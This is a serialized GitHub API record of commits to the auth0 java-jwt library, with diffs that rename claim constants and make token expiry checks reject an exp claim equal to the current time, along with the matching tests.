     }u}(jJ  (c8df2bb9793a2c085b12e304d8c38bca31234d69jkK  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javajmK  modifiedjeK  KjfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X2  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.RegisteredClaims;
 import com.fasterxml.jackson.core.JsonGenerator;
 
 import java.io.IOException;
@@ -22,7 +23,7 @@ public PayloadSerializer() {
 
     @Override
     protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
-        if (PublicClaims.AUDIENCE.equals(entry.getKey())) {
+        if (RegisteredClaims.AUDIENCE.equals(entry.getKey())) {
             writeAudience(gen, entry);
         } else {
             super.writeClaim(entry, gen);u}(jJ  (ea166b0d337191043019e43d588b53e66328dd9cjkK  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javajmK  removedjeK  K jfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javajrK  https://github.com/auth0/java-jwt/raw/af04b229327f863cdde7c41c77c076e39a6b3742/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=af04b229327f863cdde7c41c77c076e39a6b3742jvK  X  @@ -1,23 +0,0 @@
-package com.auth0.jwt.impl;
-
-/**
- * Contains the claim name for all Public claims.
- */
-public interface PublicClaims {
-
-    //Header
-    String ALGORITHM = "alg";
-    String CONTENT_TYPE = "cty";
-    String TYPE = "typ";
-    String KEY_ID = "kid";
-
-    //Payload
-    String ISSUER = "iss";
-    String SUBJECT = "sub";
-    String EXPIRES_AT = "exp";
-    String NOT_BEFORE = "nbf";
-    String ISSUED_AT = "iat";
-    String JWT_ID = "jti";
-    String AUDIENCE = "aud";
-
-}u}(jJ  (efe6b94bd466cfd58589156c5fffcb726f806888jkK  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajmK  modifiedjeK  K
jfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  Xv  @@ -1,7 +1,6 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -92,7 +91,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() {
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<>();
-        header.put(PublicClaims.KEY_ID, "xyz");
+        header.put(HeaderParams.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
                 .withKeyId("abc")
@@ -102,13 +101,13 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "xyz"));
+        assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<>();
-        header.put(PublicClaims.KEY_ID, "xyz");
+        header.put(HeaderParams.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -118,13 +117,13 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "abc"));
+        assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "abc"));
     }
 
     @Test
     public void shouldRemoveHeaderIfTheValueIsNull() {
         Map<String, Object> header = new HashMap<>();
-        header.put(PublicClaims.KEY_ID, null);
+        header.put(HeaderParams.KEY_ID, null);
         header.put("test2", "isSet");
 
         String signed = JWTCreator.init()
@@ -135,7 +134,7 @@ public void shouldRemoveHeaderIfTheValueIsNull() {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.isNotPresent(PublicClaims.KEY_ID));
+        assertThat(headerJson, JsonMatcher.isNotPresent(HeaderParams.KEY_ID));
         assertThat(headerJson, JsonMatcher.hasEntry("test2", "isSet"));
     }
 
@@ -728,7 +727,7 @@ public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
     @Test
     public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(PublicClaims.KEY_ID, "xyz");
+        payload.put(HeaderParams.KEY_ID, "xyz");
 
         String jwt = JWTCreator.init()
                 .withKeyId("abc")
@@ -738,13 +737,13 @@ public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKe
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "xyz"));
+        assertThat(payloadJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
     @Test
     public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(PublicClaims.ISSUER, "xyz");
+        payload.put(RegisteredClaims.ISSUER, "xyz");
 
         String jwt = JWTCreator.init()
                 .withPayload(payload)
@@ -754,7 +753,7 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.ISSUER, "abc"));
+        assertThat(payloadJson, JsonMatcher.hasEntry(RegisteredClaims.ISSUER, "abc"));
     }
 
     @Testum     }(jJ  (82dc895c100dd8adef89d0ecb58423b9e270398fjkK  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javajmK  modifiedjeK  KjfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X  @@ -121,7 +121,7 @@ public void shouldGetSignature() {
         assertThat(jwt.getSignature(), is("XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
 
-    // Public PublicClaims
+    // Standard Claims
 
     @Test
     public void shouldGetIssuer() {
@@ -208,7 +208,7 @@ public void shouldGetAlgorithm() {
         assertThat(jwt.getAlgorithm(), is("HS256"));
     }
 
-    //Private PublicClaims
+    // Private Claims
 
     @Test
     public void shouldGetMissingClaimIfClaimDoesNotExist() {u}(jJ  (b9f56a2e6dbd7f61f99cb29f444059884a867e50jkK  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajmK  modifiedjeK  KjfK  KjoK  KjpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X  @@ -10,17 +10,15 @@
 
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECKey;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
 import java.time.Clock;
 import java.time.Instant;
 import java.time.ZoneId;
 import java.util.Base64;
 import java.util.Date;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 
 public class JWTTest {
 
@@ -199,7 +197,7 @@ public void shouldAcceptECDSA512Algorithm() throws Exception {
     }
 
 
-    // Public Claims
+    // Standard Claims
 
     @Test
     public void shouldGetAlgorithm() {u}(jJ  (6d8ba20196765ae92f9f86376c22a944118c7bedjkK  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajmK  modifiedjeK  KjfK  KjoK  K4jpK  https://github.com/auth0/java-jwt/blob/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajrK  https://github.com/auth0/java-jwt/raw/c82c1500b50010734e3d2336046f82c2504db16f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajtK  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=c82c1500b50010734e3d2336046f82c2504db16fjvK  X   @@ -2,7 +2,6 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
@@ -14,7 +13,6 @@
 import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
-import java.util.Arrays;
 import java.util.Collections;
 import java.util.Date;
 import java.util.function.BiPredicate;
@@ -92,7 +90,7 @@ public void shouldThrowOnInvalidIssuer() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUER));
         assertThat(e.getClaimValue().asString(), is("auth0"));
     }
 
@@ -106,7 +104,7 @@ public void shouldThrowOnNullIssuer() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUER));
         assertThat(e.getClaimValue().isNull(), is(true));
     }
 
@@ -146,7 +144,7 @@ public void shouldThrowOnInvalidSubject() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'sub' value doesn't match the required one."));
-        assertThat(e.getClaimName(), is(PublicClaims.SUBJECT));
+        assertThat(e.getClaimName(), is(RegisteredClaims.SUBJECT));
         assertThat(e.getClaimValue().asString(), is("1234567890"));
     }
 
@@ -250,7 +248,7 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
                     .verify(tokenArr);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
@@ -265,7 +263,7 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
@@ -280,7 +278,7 @@ public void shouldThrowWhenAudienceClaimIsNull() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().isNull(), is(true));
     }
 
@@ -308,7 +306,7 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {null}));
     }
 
@@ -585,9 +583,9 @@ public void shouldAddDefaultLeewayToDateClaims() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(0L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(0L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(0L));
     }
 
     @Test
@@ -599,9 +597,9 @@ public void shouldAddCustomLeewayToDateClaims() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -614,9 +612,9 @@ public void shouldOverrideDefaultIssuedAtLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(9999L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -629,9 +627,9 @@ public void shouldOverrideDefaultExpiresAtLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(9999L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(1234L));
     }
 
     @Test
@@ -644,9 +642,9 @@ public void shouldOverrideDefaultNotBeforeLeeway() {
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
-        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(9999L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(RegisteredClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -727,7 +725,7 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(PublicClaims.NOT_BEFORE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.NOT_BEFORE));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -762,7 +760,7 @@ public void shouldThrowOnFutureIssuedAt() {
             assertThat(jwt, is(notNullValue()));
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUED_AT));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
@@ -787,7 +785,7 @@ public void shouldThrowOnInvalidIssuedAtIfPresent() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
-        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUED_AT));
         assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 ueu(aa8b522250c548a595e357c18ebb7dae90e95685}(sha(aa8b522250c548a595e357c18ebb7dae90e95685node_idEC_kwDOAQtL0doAKGFhOGI1MjIyNTBjNTQ4YTU5NWUzNTdjMThlYmI3ZGFlOTBlOTU2ODUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-01-26T21:20:47Zu	committer}(jK  Jim AndersonjK  jimranderson@gmail.comjK  2023-01-26T21:45:10Zumessage exp claim cannot be equal to nowtree}(jK  (d5f535560e84384d758ddff24439f75d861e2427url^https://api.github.com/repos/auth0/java-jwt/git/trees/d5f535560e84384d758ddff24439f75d861e2427ujK  `https://api.github.com/repos/auth0/java-jwt/git/commits/aa8b522250c548a595e357c18ebb7dae90e95685
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujK  \https://api.github.com/repos/auth0/java-jwt/commits/aa8b522250c548a595e357c18ebb7dae90e95685html_urlQhttps://github.com/auth0/java-jwt/commit/aa8b522250c548a595e357c18ebb7dae90e95685comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/aa8b522250c548a595e357c18ebb7dae90e95685/commentsjK  }(login
jimmyjamesidJ7 jK  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jK  'https://api.github.com/users/jimmyjamesjK  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujK  }(jK  
jimmyjamesjK  J7 jK  MDQ6VXNlcjI3NjIyNQ==jK  2https://avatars.githubusercontent.com/u/276225?v=4jL  h3jK  'https://api.github.com/users/jimmyjamesjK  https://github.com/jimmyjamesjL  1https://api.github.com/users/jimmyjames/followersjL  >https://api.github.com/users/jimmyjames/following{/other_user}jL  7https://api.github.com/users/jimmyjames/gists{/gist_id}j
L  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jL  5https://api.github.com/users/jimmyjames/subscriptionsjL  ,https://api.github.com/users/jimmyjames/orgsjL  -https://api.github.com/users/jimmyjames/reposjL  8https://api.github.com/users/jimmyjames/events{/privacy}jL  7https://api.github.com/users/jimmyjames/received_eventsjL  UserjL  uparents]}(jK  (6e80ea1e5a8624f34f133c3be71078ee9ab83906jK  \https://api.github.com/repos/auth0/java-jwt/commits/6e80ea1e5a8624f34f133c3be71078ee9ab83906jK  Qhttps://github.com/auth0/java-jwt/commit/6e80ea1e5a8624f34f133c3be71078ee9ab83906uastats}(totalK)	additionsK"	deletionsKufiles](}(jK  (6cec2026cab86481d3bd03852b2118b465f9860bfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj2L  Kj3L  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/aa8b522250c548a595e357c18ebb7dae90e95685/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/aa8b522250c548a595e357c18ebb7dae90e95685/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=aa8b522250c548a595e357c18ebb7dae90e95685patchXG  @@ -346,7 +346,7 @@ private boolean assertValidInstantClaim(String claimName, Claim claim, long leew
                     throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
                 }
             } else {
-                isValid = assertInstantIsPast(claimVal, leeway, now);
+                isValid = assertInstantIsLessThanOrEqualToNow(claimVal, leeway, now);
                 if (!isValid) {
                     throw new IncorrectClaimException(
                             String.format("The Token can't be used before %s.", claimVal), claimName, claim);
@@ -356,10 +356,10 @@ private boolean assertValidInstantClaim(String claimName, Claim claim, long leew
         }
 
         private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
+            return claimVal == null || now.minus(Duration.ofSeconds(leeway)).isBefore(claimVal);
         }
 
-        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+        private boolean assertInstantIsLessThanOrEqualToNow(Instant claimVal, long leeway, Instant now) {
             return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
         }
 u}(jK  (087f1e9ed7f245ffadbb9ced51b0e663f01131dbj8L  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj:L  modifiedj2L  Kj3L  Kj<L  Kj=L  https://github.com/auth0/java-jwt/blob/aa8b522250c548a595e357c18ebb7dae90e95685/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj?L  https://github.com/auth0/java-jwt/raw/aa8b522250c548a595e357c18ebb7dae90e95685/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajAL  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=aa8b522250c548a595e357c18ebb7dae90e95685jCL  X  @@ -12,6 +12,7 @@
 import java.security.interfaces.ECKey;
 import java.security.interfaces.RSAKey;
 import java.time.Clock;
+import java.time.Duration;
 import java.time.Instant;
 import java.time.ZoneId;
 import java.util.Base64;
@@ -270,12 +271,12 @@ public void shouldGetStringAudience() {
     @Test
     public void shouldGetExpirationTime() {
         long seconds = 1477592L;
-        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
+        Clock mockNow = Clock.fixed(Instant.ofEpochSecond(seconds - 1), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Nzc1OTJ9.x_ZjkPkKYUV5tdvc0l8go6D_z2kez1MQcOxokXrDc3k";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));u}(jK  (5a784b87c0dff4fa4113c5a952cabb22e98f7464j8L  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj:L  modifiedj2L  Kj3L  Kj<L  Kj=L  https://github.com/auth0/java-jwt/blob/aa8b522250c548a595e357c18ebb7dae90e95685/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj?L  https://github.com/auth0/java-jwt/raw/aa8b522250c548a595e357c18ebb7dae90e95685/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajAL  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=aa8b522250c548a595e357c18ebb7dae90e95685jCL  X  @@ -657,6 +657,7 @@ public void shouldThrowOnNegativeCustomLeeway() {
     }
 
     // Expires At
+
     @Test
     public void shouldValidateExpiresAtWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
@@ -674,12 +675,26 @@ public void shouldValidateExpiresAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(mockNow)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
+    @Test
+    public void shouldThrowWhenExpiresAtIsNow() {
+        // exp must be > now
+        TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockNow)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token has expired on 1970-01-18T02:26:32Z."));
+        assertThat(e.getExpiredOn(), is(Instant.ofEpochSecond(1477592L)));
+    }
+
     @Test
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
         TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
@@ -731,7 +746,18 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() {
 
     @Test
     public void shouldValidateNotBeforeIfPresent() {
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTN9.f4zVV0TbbTG5xxDjSoGZ320JIMchGoQCWrnT5MyQdT0";
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+        DecodedJWT jwt = verification
+                .build(mockOneSecondLater)
+                .verify(token);
+
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldAcceptNotBeforeEqualToNow() {
+        String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTJ9.71XBtRmkAa4iKnyhbS4NPW-Xr26eAVAdHZgmupS7a5o";
